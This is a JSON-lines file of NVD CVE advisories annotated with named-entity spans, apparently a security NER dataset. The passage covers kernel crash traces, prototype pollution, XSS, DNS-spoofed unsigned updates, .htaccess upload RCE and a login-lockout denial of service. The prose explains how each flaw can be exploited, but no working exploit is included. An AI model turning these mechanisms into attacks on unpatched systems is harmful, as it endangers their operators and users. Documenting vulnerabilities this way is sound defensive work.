{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfbdev: Fix unregistering of framebuffers without device\n\nOF framebuffers do not have an underlying device in the Linux\ndevice hierarchy. Do a regular unregister call instead of hot\nunplugging such a non-existing device. Fixes a NULL dereference.\nAn example error message on ppc64le is shown below.\n\n  BUG: Kernel NULL pointer dereference on read at 0x00000060\n  Faulting instruction address: 0xc00000000080dfa4\n  Oops: Kernel access of bad area, sig: 11 [#1]\n  LE PAGE_SIZE=64K MMU=Hash SMP NR_CPUS=2048 NUMA pSeries\n  [...]\n  CPU: 2 PID: 139 Comm: systemd-udevd Not tainted 5.17.0-ae085d7f9365 #1\n  NIP:  c00000000080dfa4 LR: c00000000080df9c CTR: c000000000797430\n  REGS: c000000004132fe0 TRAP: 0300   Not tainted  (5.17.0-ae085d7f9365)\n  MSR:  8000000002009033 <SF,VEC,EE,ME,IR,DR,RI,LE>  CR: 28228282  XER: 20000000\n  CFAR: c00000000000c80c DAR: 0000000000000060 DSISR: 40000000 IRQMASK: 0\n  GPR00: c00000000080df9c c000000004133280 c00000000169d200 0000000000000029\n  GPR04: 00000000ffffefff c000000004132f90 c000000004132f88 0000000000000000\n  GPR08: c0000000015658f8 c0000000015cd200 c0000000014f57d0 0000000048228283\n  GPR12: 0000000000000000 c00000003fffe300 0000000020000000 0000000000000000\n  GPR16: 0000000000000000 0000000113fc4a40 0000000000000005 0000000113fcfb80\n  GPR20: 000001000f7283b0 0000000000000000 c000000000e4a588 c000000000e4a5b0\n  GPR24: 0000000000000001 00000000000a0000 c008000000db0168 c0000000021f6ec0\n  GPR28: c0000000016d65a8 c000000004b36460 0000000000000000 c0000000016d64b0\n  NIP [c00000000080dfa4] do_remove_conflicting_framebuffers+0x184/0x1d0\n  [c000000004133280] [c00000000080df9c] do_remove_conflicting_framebuffers+0x17c/0x1d0 (unreliable)\n  [c000000004133350] [c00000000080e4d0] remove_conflicting_framebuffers+0x60/0x150\n  [c0000000041333a0] [c00000000080e6f4] remove_conflicting_pci_framebuffers+0x134/0x1b0\n  [c000000004133450] [c008000000e70438] drm_aperture_remove_conflicting_pci_framebuffers+0x90/0x100 [drm]\n  [c000000004133490] [c008000000da0ce4] bochs_pci_probe+0x6c/0xa64 [bochs]\n  [...]\n  [c000000004133db0] [c00000000002aaa0] system_call_exception+0x170/0x2d0\n  [c000000004133e10] [c00000000000c3cc] system_call_common+0xec/0x250\n\nThe bug [1] was introduced by commit 27599aacbaef (\"fbdev: Hot-unplug\nfirmware fb devices on forced removal\"). Most firmware framebuffers\nhave an underlying platform device, which can be hot-unplugged\nbefore loading the native graphics driver. OF framebuffers do not\n(yet) have that device. Fix the code by unregistering the framebuffer\nas before without a hot unplug.\n\nTested with 5.17 on qemu ppc64le emulation.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: systemd": [[618, 625]], "SYSTEM: Linux": [[182, 187]], "VULNERABILITY: NULL pointer dereference": [[382, 406]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49070"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnet/mlx5e: TC, Fix internal port memory leak\n\nThe flow rule can be splited, and the extra post_act rules are added\nto post_act table. It's possible to trigger memleak when the rule\nforwards packets from internal port and over tunnel, in the case that,\nfor example, CT 'new' state offload is allowed. As int_port object is\nassigned to the flow attribute of post_act rule, and its refcnt is\nincremented by mlx5e_tc_int_port_get(), but mlx5e_tc_int_port_put() is\nnot called, the refcnt is never decremented, then int_port is never\nfreed.\n\nThe kmemleak reports the following error:\nunreferenced object 0xffff888128204b80 (size 64):\n  comm \"handler20\", pid 50121, jiffies 4296973009 (age 642.932s)\n  hex dump (first 32 bytes):\n    01 00 00 00 19 00 00 00 03 f0 00 00 04 00 00 00  ................\n    98 77 67 41 81 88 ff ff 98 77 67 41 81 88 ff ff  .wgA.....wgA....\n  backtrace:\n    [<00000000e992680d>] kmalloc_trace+0x27/0x120\n    [<000000009e945a98>] mlx5e_tc_int_port_get+0x3f3/0xe20 [mlx5_core]\n    [<0000000035a537f0>] mlx5e_tc_add_fdb_flow+0x473/0xcf0 [mlx5_core]\n    [<0000000070c2cec6>] __mlx5e_add_fdb_flow+0x7cf/0xe90 [mlx5_core]\n    [<000000005cc84048>] mlx5e_configure_flower+0xd40/0x4c40 [mlx5_core]\n    [<000000004f8a2031>] mlx5e_rep_indr_offload.isra.0+0x10e/0x1c0 [mlx5_core]\n    [<000000007df797dc>] mlx5e_rep_indr_setup_tc_cb+0x90/0x130 [mlx5_core]\n    [<0000000016c15cc3>] tc_setup_cb_add+0x1cf/0x410\n    [<00000000a63305b4>] fl_hw_replace_filter+0x38f/0x670 [cls_flower]\n    [<000000008bc9e77c>] fl_change+0x1fd5/0x4430 [cls_flower]\n    [<00000000e7f766e4>] tc_new_tfilter+0x867/0x2010\n    [<00000000e101c0ef>] rtnetlink_rcv_msg+0x6fc/0x9f0\n    [<00000000e1111d44>] netlink_rcv_skb+0x12c/0x360\n    [<0000000082dd6c8b>] netlink_unicast+0x438/0x710\n    [<00000000fc568f70>] netlink_sendmsg+0x794/0xc50\n    [<0000000016e92590>] sock_sendmsg+0xc5/0x190\n\nSo fix this by moving int_port cleanup code to the flow attribute\nfree helper, which is used by all the attribute free cases.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: memory leak": [[102, 113]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53999"}}
{"text": "defu is software that allows uers to assign default properties recursively. Prior to version 6.1.5, applications that pass unsanitized user input (e.g. parsed JSON request bodies, database records, or config files from untrusted sources) as the first argument to `defu()` are vulnerable to prototype pollution. A crafted payload containing a `__proto__` key can override intended default values in the merged resul. The internal `_defu` function used `Object.assign({}, defaults)` to copy the defaults object. `Object.assign` invokes the `__proto__` setter, which replaces the resulting object's `[[Prototype]]` with attacker-controlled values. Properties inherited from the polluted prototype then bypass the existing `__proto__` key guard in the `for...in` loop and land in the final result. Version 6.1.5 replaces `Object.assign({}, defaults)` with object spread (`{ ...defaults }`), which uses `[[DefineOwnProperty]]` and does not invoke the `__proto__` setter.", "spans": {"VULNERABILITY: prototype pollution": [[290, 309]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-35209"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nmedia: xc2028: avoid use-after-free in load_firmware_cb()\n\nsyzkaller reported use-after-free in load_firmware_cb() [1].\nThe reason is because the module allocated a struct tuner in tuner_probe(),\nand then the module initialization failed, the struct tuner was released.\nA worker which created during module initialization accesses this struct\ntuner later, it caused use-after-free.\n\nThe process is as follows:\n\ntask-6504           worker_thread\ntuner_probe                             <= alloc dvb_frontend [2]\n...\nrequest_firmware_nowait                 <= create a worker\n...\ntuner_remove                            <= free dvb_frontend\n...\n                    request_firmware_work_func  <= the firmware is ready\n                    load_firmware_cb    <= but now the dvb_frontend has been freed\n\nTo fix the issue, check the dvd_frontend in load_firmware_cb(), if it is\nnull, report a warning and just return.\n\n[1]:\n    ==================================================================\n     BUG: KASAN: use-after-free in load_firmware_cb+0x1310/0x17a0\n     Read of size 8 at addr ffff8000d7ca2308 by task kworker/2:3/6504\n\n     Call trace:\n      load_firmware_cb+0x1310/0x17a0\n      request_firmware_work_func+0x128/0x220\n      process_one_work+0x770/0x1824\n      worker_thread+0x488/0xea0\n      kthread+0x300/0x430\n      ret_from_fork+0x10/0x20\n\n     Allocated by task 6504:\n      kzalloc\n      tuner_probe+0xb0/0x1430\n      i2c_device_probe+0x92c/0xaf0\n      really_probe+0x678/0xcd0\n      driver_probe_device+0x280/0x370\n      __device_attach_driver+0x220/0x330\n      bus_for_each_drv+0x134/0x1c0\n      __device_attach+0x1f4/0x410\n      device_initial_probe+0x20/0x30\n      bus_probe_device+0x184/0x200\n      device_add+0x924/0x12c0\n      device_register+0x24/0x30\n      i2c_new_device+0x4e0/0xc44\n      v4l2_i2c_new_subdev_board+0xbc/0x290\n      v4l2_i2c_new_subdev+0xc8/0x104\n      em28xx_v4l2_init+0x1dd0/0x3770\n\n     Freed by task 6504:\n      kfree+0x238/0x4e4\n      tuner_remove+0x144/0x1c0\n      i2c_device_remove+0xc8/0x290\n      __device_release_driver+0x314/0x5fc\n      device_release_driver+0x30/0x44\n      bus_remove_device+0x244/0x490\n      device_del+0x350/0x900\n      device_unregister+0x28/0xd0\n      i2c_unregister_device+0x174/0x1d0\n      v4l2_device_unregister+0x224/0x380\n      em28xx_v4l2_init+0x1d90/0x3770\n\n     The buggy address belongs to the object at ffff8000d7ca2000\n      which belongs to the cache kmalloc-2k of size 2048\n     The buggy address is located 776 bytes inside of\n      2048-byte region [ffff8000d7ca2000, ffff8000d7ca2800)\n     The buggy address belongs to the page:\n     page:ffff7fe00035f280 count:1 mapcount:0 mapping:ffff8000c001f000 index:0x0\n     flags: 0x7ff800000000100(slab)\n     raw: 07ff800000000100 ffff7fe00049d880 0000000300000003 ffff8000c001f000\n     raw: 0000000000000000 0000000080100010 00000001ffffffff 0000000000000000\n     page dumped because: kasan: bad access detected\n\n     Memory state around the buggy address:\n      ffff8000d7ca2200: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n      ffff8000d7ca2280: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n     >ffff8000d7ca2300: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n                           ^\n      ffff8000d7ca2380: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n      ffff8000d7ca2400: fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb fb\n     ==================================================================\n\n[2]\n    Actually, it is allocated for struct tuner, and dvb_frontend is inside.", "spans": {"SYSTEM: Linux kernel": [[7, 19]], "VULNERABILITY: use-after-free": [[90, 104], [147, 161], [435, 449], [1076, 1090]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-43900"}}
{"text": "Vulnerability in the Oracle Email Center product of Oracle E-Business Suite (component: Message Display). Supported versions that are affected are 12.1.1-12.1.3 and 12.2.3-12.2.9. Easily exploitable vulnerability allows unauthenticated attacker with network access via HTTPS to compromise Oracle Email Center. Successful attacks require human interaction from a person other than the attacker and while the vulnerability is in Oracle Email Center, attacks may significantly impact additional products. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle Email Center accessible data as well as unauthorized update, insert or delete access to some of Oracle Email Center accessible data. CVSS 3.0 Base Score 8.2 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [52, 58], [289, 295], [427, 433], [620, 626], [723, 729]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2670"}}
{"text": "A medium severity vulnerability has been identified in the update mechanism of the Phish Alert Button for Outlook, which could allow an attacker to remotely execute arbitrary code on the host machine. The vulnerability arises from the application's failure to securely verify the authenticity and integrity of the update server.\n\nThe application periodically checks for updates by querying a specific URL. However, this process does not enforce strict SSL/TLS verification, nor does it validate the digital signature of the received update files. An attacker with the capability to perform DNS spoofing can exploit this weakness. By manipulating DNS responses, the attacker can redirect the application's update requests to a malicious server under their control.\n\nOnce the application queries the spoofed update URL, the malicious server can respond with a crafted update package. Since the application fails to properly verify the authenticity of the update file, it will accept and execute the package, leading to arbitrary code execution on the host machine.\n\nImpact:\nSuccessful exploitation of this vulnerability allows an attacker to execute code with elevated privileges, potentially leading to data theft, installation of further malware, or other malicious activities on the host system.\n\nAffected Products:\nPhish Alert Button (PAB) for Outlook versions 1.10.0-1.10.11\nSecond Chance Client versions 2.0.0-2.0.9\nPIQ Client versions 1.0.0-1.0.15\n\nRemediation:\nAutomated updates will be pushed to address this issue. Users of affected versions should verify the latest version is applied and, if not, apply the latest updates provided by KnowBe4, which addresses this vulnerability by implementing proper SSL/TLS checks of the update server. It is also recommended to ensure DNS settings are secure to prevent DNS spoofing attacks.\n\nWorkarounds:\nUse secure corporate networks or VPN services to secure network communications, which can help mitigate the risk of DNS spoofing.\n\nCredits:\nThis vulnerability was discovered by Ceri Coburn at Pen Test Partners, who reported it responsibly to the vendor.", "spans": {"VULNERABILITY: code execution": [[1027, 1041]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2024-29209"}}
{"text": "Angular is a development platform for building mobile and desktop web applications using TypeScript/JavaScript and other languages. Prior to 22.0.0-next.3, 21.2.4, 20.3.18, and 19.2.20, a Cross-Site Scripting (XSS) vulnerability has been identified in the Angular runtime and compiler. It occurs when the application uses a security-sensitive attribute (for example href on an anchor tag) together with Angular's ability to internationalize attributes. Enabling internationalization for the sensitive attribute by adding i18n-<attribute> name bypasses Angular's built-in sanitization mechanism, which when combined with a data binding to untrusted user-generated data can allow an attacker to inject a malicious script. This vulnerability is fixed in 22.0.0-next.3, 21.2.4, 20.3.18, and 19.2.20.", "spans": {"VULNERABILITY: Cross-Site Scripting": [[188, 208]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-32635"}}
{"text": "A Race Condition Enabling Link Following vulnerability in the cron job shipped with texlive-filesystem of SUSE Linux Enterprise Module for Desktop Applications 15-SP1, SUSE Linux Enterprise Software Development Kit 12-SP4, SUSE Linux Enterprise Software Development Kit 12-SP5; openSUSE Leap 15.1 allows local users in group mktex to delete arbitrary files on the system This issue affects: SUSE Linux Enterprise Module for Desktop Applications 15-SP1 texlive-filesystem versions prior to 2017.135-9.5.1. SUSE Linux Enterprise Software Development Kit 12-SP4 texlive-filesystem versions prior to 2013.74-16.5.1. SUSE Linux Enterprise Software Development Kit 12-SP5 texlive-filesystem versions prior to 2013.74-16.5.1. openSUSE Leap 15.1 texlive-filesystem versions prior to 2017.135-lp151.8.3.1.", "spans": {"SYSTEM: Linux": [[111, 116], [173, 178], [228, 233], [396, 401], [510, 515], [617, 622]], "ORGANIZATION: SUSE": [[106, 110], [168, 172], [223, 227], [391, 395], [505, 509], [612, 616]], "VULNERABILITY: Race Condition": [[2, 16]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-8017"}}
{"text": "In containerd (an industry-standard container runtime) before version 1.2.14 there is a credential leaking vulnerability. If a container image manifest in the OCI Image format or Docker Image V2 Schema 2 format includes a URL for the location of a specific image layer (otherwise known as a “foreign layer”), the default containerd resolver will follow that URL to attempt to download it. In v1.2.x but not 1.3.0 or later, the default containerd resolver will provide its authentication credentials if the server where the URL is located presents an HTTP 401 status code along with registry-specific HTTP headers. If an attacker publishes a public image with a manifest that directs one of the layers to be fetched from a web server they control and they trick a user or system into pulling the image, they can obtain the credentials used for pulling that image. In some cases, this may be the user's username and password for the registry. In other cases, this may be the credentials attached to the cloud virtual instance which can grant access to other cloud resources in the account. The default containerd resolver is used by the cri-containerd plugin (which can be used by Kubernetes), the ctr development tool, and other client programs that have explicitly linked against it. This vulnerability has been fixed in containerd 1.2.14. containerd 1.3 and later are not affected. If you are using containerd 1.3 or later, you are not affected. If you are using cri-containerd in the 1.2 series or prior, you should ensure you only pull images from trusted sources. Other container runtimes built on top of containerd but not using the default resolver (such as Docker) are not affected.", "spans": {"SYSTEM: Kubernetes": [[1179, 1189]], "ORGANIZATION: Docker": [[179, 185], [1664, 1670]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-15157"}}
{"text": "Vulnerability in the Oracle FLEXCUBE Universal Banking product of Oracle Financial Services Applications (component: Infrastructure). Supported versions that are affected are 12.0.1-12.4.0 and 14.0.0-14.3.0. Easily exploitable vulnerability allows low privileged attacker with network access via HTTP to compromise Oracle FLEXCUBE Universal Banking. Successful attacks of this vulnerability can result in unauthorized access to critical data or complete access to all Oracle FLEXCUBE Universal Banking accessible data as well as unauthorized update, insert or delete access to some of Oracle FLEXCUBE Universal Banking accessible data. CVSS 3.0 Base Score 7.1 (Confidentiality and Integrity impacts). CVSS Vector: (CVSS:3.0/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:N).", "spans": {"ORGANIZATION: Oracle": [[21, 27], [66, 72], [315, 321], [468, 474], [585, 591]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2020-2699"}}
{"text": "MyTube is a self-hosted downloader and player for several video websites Prior to version 1.8.72, an unauthenticated attacker can lock out administrator and visitor accounts from password-based authentication by triggering failed login attempts. The application exposes three password verification endpoints, all of which are publicly accessible. All three endpoints share a single file-backed login attempt state stored in `login-attempts.json`. When any endpoint records a failed authentication attempt via `recordFailedAttempt()`, the shared login attempt state is updated, increasing the `failedAttempts` counter and adjusting the associated timestamps and cooldown values. Before verifying a password, each endpoint calls `canAttemptLogin()`. This function checks the shared JSON file to determine whether a cooldown period is active. If the cooldown has not expired, the request is rejected before the password is validated. Because the failed attempt counter and cooldown timer are globally shared, failed authentication attempts against any endpoint affect all other endpoints. An attacker can exploit this by repeatedly sending invalid authentication requests to any of these endpoints, incrementing the shared counter and waiting for the cooldown period between attempts. By doing so, the attacker can progressively increase the lockout duration until it reaches 24 hours, effectively preventing legitimate users from authenticating. Once the maximum lockout is reached, the attacker can maintain the denial of service indefinitely by waiting for the cooldown to expire and sending another failed attempt, which immediately triggers another 24-hour lockout if no successful login occurred in the meantime. Version 1.8.72 fixes the vulnerability.", "spans": {"FILEPATH: attempts.json": [[431, 444]], "VULNERABILITY: denial of service": [[1511, 1528]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-33935"}}
{"text": "FreeScout is a free help desk and shared inbox built with PHP's Laravel framework. Prior to version 1.8.206, FreeScout's file upload restriction list in `app/Misc/Helper.php` does not include `.htaccess` or `.user.ini` files. On Apache servers with `AllowOverride All` (a common configuration), an authenticated user can upload a `.htaccess` file to redefine how files are processed, enabling Remote Code Execution. This vulnerability can be exploited on its own or in combination with CVE-2026-27637. Version 1.8.206 fixes both vulnerabilities.", "spans": {"CVE_ID: CVE-2026-27637": [[486, 500]], "FILEPATH: /Misc/Helper.php": [[157, 173]], "FILEPATH: user.ini": [[209, 217]], "SYSTEM: PHP": [[58, 61]], "ORGANIZATION: Apache": [[229, 235]], "VULNERABILITY: Remote Code Execution": [[393, 414]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-27636"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nscsi: qla2xxx: Fix warning message due to adisc being flushed\n\nFix warning message due to adisc being flushed.  Linux kernel triggered a\nwarning message where a different error code type is not matching up with\nthe expected type. Add additional translation of one error code type to\nanother.\n\nWARNING: CPU: 2 PID: 1131623 at drivers/scsi/qla2xxx/qla_init.c:498\nqla2x00_async_adisc_sp_done+0x294/0x2b0 [qla2xxx]\nCPU: 2 PID: 1131623 Comm: drmgr Not tainted 5.13.0-rc1-autotest #1\n..\nGPR28: c000000aaa9c8890 c0080000079ab678 c00000140a104800 c00000002bd19000\nNIP [c00800000790857c] qla2x00_async_adisc_sp_done+0x294/0x2b0 [qla2xxx]\nLR [c008000007908578] qla2x00_async_adisc_sp_done+0x290/0x2b0 [qla2xxx]\nCall Trace:\n[c00000001cdc3620] [c008000007908578] qla2x00_async_adisc_sp_done+0x290/0x2b0 [qla2xxx] (unreliable)\n[c00000001cdc3710] [c0080000078f3080] __qla2x00_abort_all_cmds+0x1b8/0x580 [qla2xxx]\n[c00000001cdc3840] [c0080000078f589c] qla2x00_abort_all_cmds+0x34/0xd0 [qla2xxx]\n[c00000001cdc3880] [c0080000079153d8] qla2x00_abort_isp_cleanup+0x3f0/0x570 [qla2xxx]\n[c00000001cdc3920] [c0080000078fb7e8] qla2x00_remove_one+0x3d0/0x480 [qla2xxx]\n[c00000001cdc39b0] [c00000000071c274] pci_device_remove+0x64/0x120\n[c00000001cdc39f0] [c0000000007fb818] device_release_driver_internal+0x168/0x2a0\n[c00000001cdc3a30] [c00000000070e304] pci_stop_bus_device+0xb4/0x100\n[c00000001cdc3a70] [c00000000070e4f0] pci_stop_and_remove_bus_device+0x20/0x40\n[c00000001cdc3aa0] [c000000000073940] pci_hp_remove_devices+0x90/0x130\n[c00000001cdc3b30] [c0080000070704d0] disable_slot+0x38/0x90 [rpaphp] [\nc00000001cdc3b60] [c00000000073eb4c] power_write_file+0xcc/0x180\n[c00000001cdc3be0] [c0000000007354bc] pci_slot_attr_store+0x3c/0x60\n[c00000001cdc3c00] [c00000000055f820] sysfs_kf_write+0x60/0x80 [c00000001cdc3c20]\n[c00000000055df10] kernfs_fop_write_iter+0x1a0/0x290\n[c00000001cdc3c70] [c000000000447c4c] new_sync_write+0x14c/0x1d0\n[c00000001cdc3d10] [c00000000044b134] vfs_write+0x224/0x330\n[c00000001cdc3d60] [c00000000044b3f4] ksys_write+0x74/0x130\n[c00000001cdc3db0] [c00000000002df70] system_call_exception+0x150/0x2d0\n[c00000001cdc3e10] [c00000000000d45c] system_call_common+0xec/0x278", "spans": {"FILEPATH: /scsi/qla2xxx/qla_init.c": [[401, 425]], "SYSTEM: Linux kernel": [[7, 19], [181, 193]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2022-49158"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nfs/ntfs3: Add length check in indx_get_root\n\nThis adds a length check to guarantee the retrieved index root is legit.\n\n[  162.459513] BUG: KASAN: use-after-free in hdr_find_e.isra.0+0x10c/0x320\n[  162.460176] Read of size 2 at addr ffff8880037bca99 by task mount/243\n[  162.460851]\n[  162.461252] CPU: 0 PID: 243 Comm: mount Not tainted 6.0.0-rc7 #42\n[  162.461744] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org 04/01/2014\n[  162.462609] Call Trace:\n[  162.462954]  <TASK>\n[  162.463276]  dump_stack_lvl+0x49/0x63\n[  162.463822]  print_report.cold+0xf5/0x689\n[  162.464608]  ? unwind_get_return_address+0x3a/0x60\n[  162.465766]  ? hdr_find_e.isra.0+0x10c/0x320\n[  162.466975]  kasan_report+0xa7/0x130\n[  162.467506]  ? _raw_spin_lock_irq+0xc0/0xf0\n[  162.467998]  ? hdr_find_e.isra.0+0x10c/0x320\n[  162.468536]  __asan_load2+0x68/0x90\n[  162.468923]  hdr_find_e.isra.0+0x10c/0x320\n[  162.469282]  ? cmp_uints+0xe0/0xe0\n[  162.469557]  ? cmp_sdh+0x90/0x90\n[  162.469864]  ? ni_find_attr+0x214/0x300\n[  162.470217]  ? ni_load_mi+0x80/0x80\n[  162.470479]  ? entry_SYSCALL_64_after_hwframe+0x63/0xcd\n[  162.470931]  ? ntfs_bread_run+0x190/0x190\n[  162.471307]  ? indx_get_root+0xe4/0x190\n[  162.471556]  ? indx_get_root+0x140/0x190\n[  162.471833]  ? indx_init+0x1e0/0x1e0\n[  162.472069]  ? fnd_clear+0x115/0x140\n[  162.472363]  ? _raw_spin_lock_irqsave+0x100/0x100\n[  162.472731]  indx_find+0x184/0x470\n[  162.473461]  ? sysvec_apic_timer_interrupt+0x57/0xc0\n[  162.474429]  ? indx_find_buffer+0x2d0/0x2d0\n[  162.474704]  ? do_syscall_64+0x3b/0x90\n[  162.474962]  dir_search_u+0x196/0x2f0\n[  162.475381]  ? ntfs_nls_to_utf16+0x450/0x450\n[  162.475661]  ? ntfs_security_init+0x3d6/0x440\n[  162.475906]  ? is_sd_valid+0x180/0x180\n[  162.476191]  ntfs_extend_init+0x13f/0x2c0\n[  162.476496]  ? ntfs_fix_post_read+0x130/0x130\n[  162.476861]  ? iput.part.0+0x286/0x320\n[  162.477325]  ntfs_fill_super+0x11e0/0x1b50\n[  162.477709]  ? put_ntfs+0x1d0/0x1d0\n[  162.477970]  ? vsprintf+0x20/0x20\n[  162.478258]  ? set_blocksize+0x95/0x150\n[  162.478538]  get_tree_bdev+0x232/0x370\n[  162.478789]  ? put_ntfs+0x1d0/0x1d0\n[  162.479038]  ntfs_fs_get_tree+0x15/0x20\n[  162.479374]  vfs_get_tree+0x4c/0x130\n[  162.479729]  path_mount+0x654/0xfe0\n[  162.480124]  ? putname+0x80/0xa0\n[  162.480484]  ? finish_automount+0x2e0/0x2e0\n[  162.480894]  ? putname+0x80/0xa0\n[  162.481467]  ? kmem_cache_free+0x1c4/0x440\n[  162.482280]  ? putname+0x80/0xa0\n[  162.482714]  do_mount+0xd6/0xf0\n[  162.483264]  ? path_mount+0xfe0/0xfe0\n[  162.484782]  ? __kasan_check_write+0x14/0x20\n[  162.485593]  __x64_sys_mount+0xca/0x110\n[  162.486024]  do_syscall_64+0x3b/0x90\n[  162.486543]  entry_SYSCALL_64_after_hwframe+0x63/0xcd\n[  162.487141] RIP: 0033:0x7f9d374e948a\n[  162.488324] Code: 48 8b 0d 11 fa 2a 00 f7 d8 64 89 01 48 83 c8 ff c3 66 2e 0f 1f 84 00 00 00 00 00 0f 1f 44 00 00 49 89 ca b8 a5 00 00 008\n[  162.489728] RSP: 002b:00007ffe30e73d18 EFLAGS: 00000206 ORIG_RAX: 00000000000000a5\n[  162.490971] RAX: ffffffffffffffda RBX: 0000561cdb43a060 RCX: 00007f9d374e948a\n[  162.491669] RDX: 0000561cdb43a260 RSI: 0000561cdb43a2e0 RDI: 0000561cdb442af0\n[  162.492050] RBP: 0000000000000000 R08: 0000561cdb43a280 R09: 0000000000000020\n[  162.492459] R10: 00000000c0ed0000 R11: 0000000000000206 R12: 0000561cdb442af0\n[  162.493183] R13: 0000561cdb43a260 R14: 0000000000000000 R15: 00000000ffffffff\n[  162.493644]  </TASK>\n[  162.493908]\n[  162.494214] The buggy address belongs to the physical page:\n[  162.494761] page:000000003e38a3d5 refcount:0 mapcount:0 mapping:0000000000000000 index:0x0 pfn:0x37bc\n[  162.496064] flags: 0xfffffc0000000(node=0|zone=1|lastcpupid=0x1fffff)\n[  162.497278] raw: 000fffffc0000000 ffffea00000df1c8 ffffea00000df008 0000000000000000\n[  162.498928] raw: 0000000000000000 0000000000240000 00000000ffffffff 0000000000000000\n[  162.500542] page dumped becau\n---truncated---", "spans": {"DOMAIN: rel-1.14.0-0-g155821a1990b-prebuilt.qemu.org": [[495, 539]], "FILEPATH: /01/2014": [[542, 550]], "SYSTEM: Linux kernel": [[7, 19]], "SYSTEM: QEMU": [[450, 454]], "VULNERABILITY: use-after-free": [[215, 229]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2023-53194"}}
{"text": "Craft is a platform for creating digital experiences. In versions 4.0.0-RC1 through 4.16.17 and 5.0.0-RC1 through 5.8.21, a Remote Code Execution (RCE) vulnerability exists in Craft CMS where the assembleLayoutFromPost() function in src/services/Fields.php fails to sanitize user-supplied configuration data before passing it to Craft::createObject(). This allows authenticated administrators to inject malicious Yii2 behavior configurations that execute arbitrary system commands on the server. This vulnerability represents an unpatched variant of the behavior injection vulnerability addressed in CVE-2025-68455, affecting different endpoints through a separate code path. This vulnerability is fixed in 5.8.22.", "spans": {"CVE_ID: CVE-2025-68455": [[600, 614]], "FILEPATH: /services/Fields.php": [[236, 256]], "VULNERABILITY: Remote Code Execution": [[124, 145]]}, "info": {"source": "nvd_v2", "cve_id": "CVE-2026-25498"}}
{"text": "In the Linux kernel, the following vulnerability has been resolved:\n\nnetfilter: nf_tables: prevent nf_skb_duplicated corruption\n\nsyzbot found that nf_dup_ipv4() or nf_dup_ipv6() could write\nper-cpu variable nf_skb_duplicated in an unsafe way [1].\n\nDisabling preemption as hinted by the splat is not enough,\nwe have to disable soft interrupts as well.\n\n[1]\nBUG: using __this_cpu_write() in preemptible [00000000] code: syz.4.282/6316\n caller is nf_dup_ipv4+0x651/0x8f0 net/ipv4/netfilter/nf_dup_ipv4.c:87\nCPU: 0 UID: 0 PID: 6316 Comm: syz.4.282 Not tainted 6.11.0-rc7-syzkaller-00104-g7052622fccb1 #0\nHardware name: Google Google Compute Engine/Google Compute Engine, BIOS Google 08/06/2024\nCall Trace:\n <TASK>\n  __dump_stack lib/dump_stack.c:93 [inline]\n  dump_stack_lvl+0x241/0x360 lib/dump_stack.c:119\n  check_preemption_disabled+0x10e/0x120 lib/smp_processor_id.c:49\n  nf_dup_ipv4+0x651/0x8f0 net/ipv4/netfilter/nf_dup_ipv4.c:87\n  nft_dup_ipv4_eval+0x1db/0x300 net/ipv4/netfilter/nft_dup_ipv4.c:30\n  expr_call_ops_eval net/netfilter/nf_tables_core.c:240 [inline]\n  nft_do_chain+0x4ad/0x1da0 net/netfilter/nf_tables_core.c:288\n  nft_do_chain_ipv4+0x202/0x320 net/netfilter/nft_chain_filter.c:23\n  nf_hook_entry_hookfn include/linux/netfilter.h:154 [inline]\n  nf_hook_slow+0xc3/0x220 net/netfilter/core.c:626\n  nf_hook+0x2c4/0x450 include/linux/netfilter.h:269\n  NF_HOOK_COND include/linux/netfilter.h:302 [inline]\n  ip_output+0x185/0x230 net/ipv4/ip_output.c:433\n  ip_local_out net/ipv4/ip_output.c:129 [inline]\n  ip_send_skb+0x74/0x100 net/ipv4/ip_output.c:1495\n  udp_send_skb+0xacf/0x1650 net/ipv4/udp.c:981\n  udp_sendmsg+0x1c21/0x2a60 net/ipv4/udp.c:1269\n  sock_sendmsg_nosec net/socket.c:730 [inline]\n  __sock_sendmsg+0x1a6/0x270 net/socket.c:745\n  ____sys_sendmsg+0x525/0x7d0 net/socket.c:2597\n  ___sys_sendmsg net/socket.c:2651 [inline]\n  __sys_sendmmsg+0x3b2/0x740 net/socket.c:2737\n  __do_sys_sendmmsg net/socket.c:2766 [inline]\n  __se_sys_sendmmsg net/socket.c:2763 [inline]\n  __x64_sys_sendmmsg+0xa0/0xb0 net/socket.c:2763\n  do_syscall_x64 arch/x86/entry/common.c:52 [inline]\n  do_syscall_64+0xf3/0x230 arch/x86/entry/common.c:83\n entry_SYSCALL_64_after_hwframe+0x77/0x7f\nRIP: 0033:0x7f4ce4f7def9\nCode: ff ff c3 66 2e 0f 1f 84 00 00 00 00 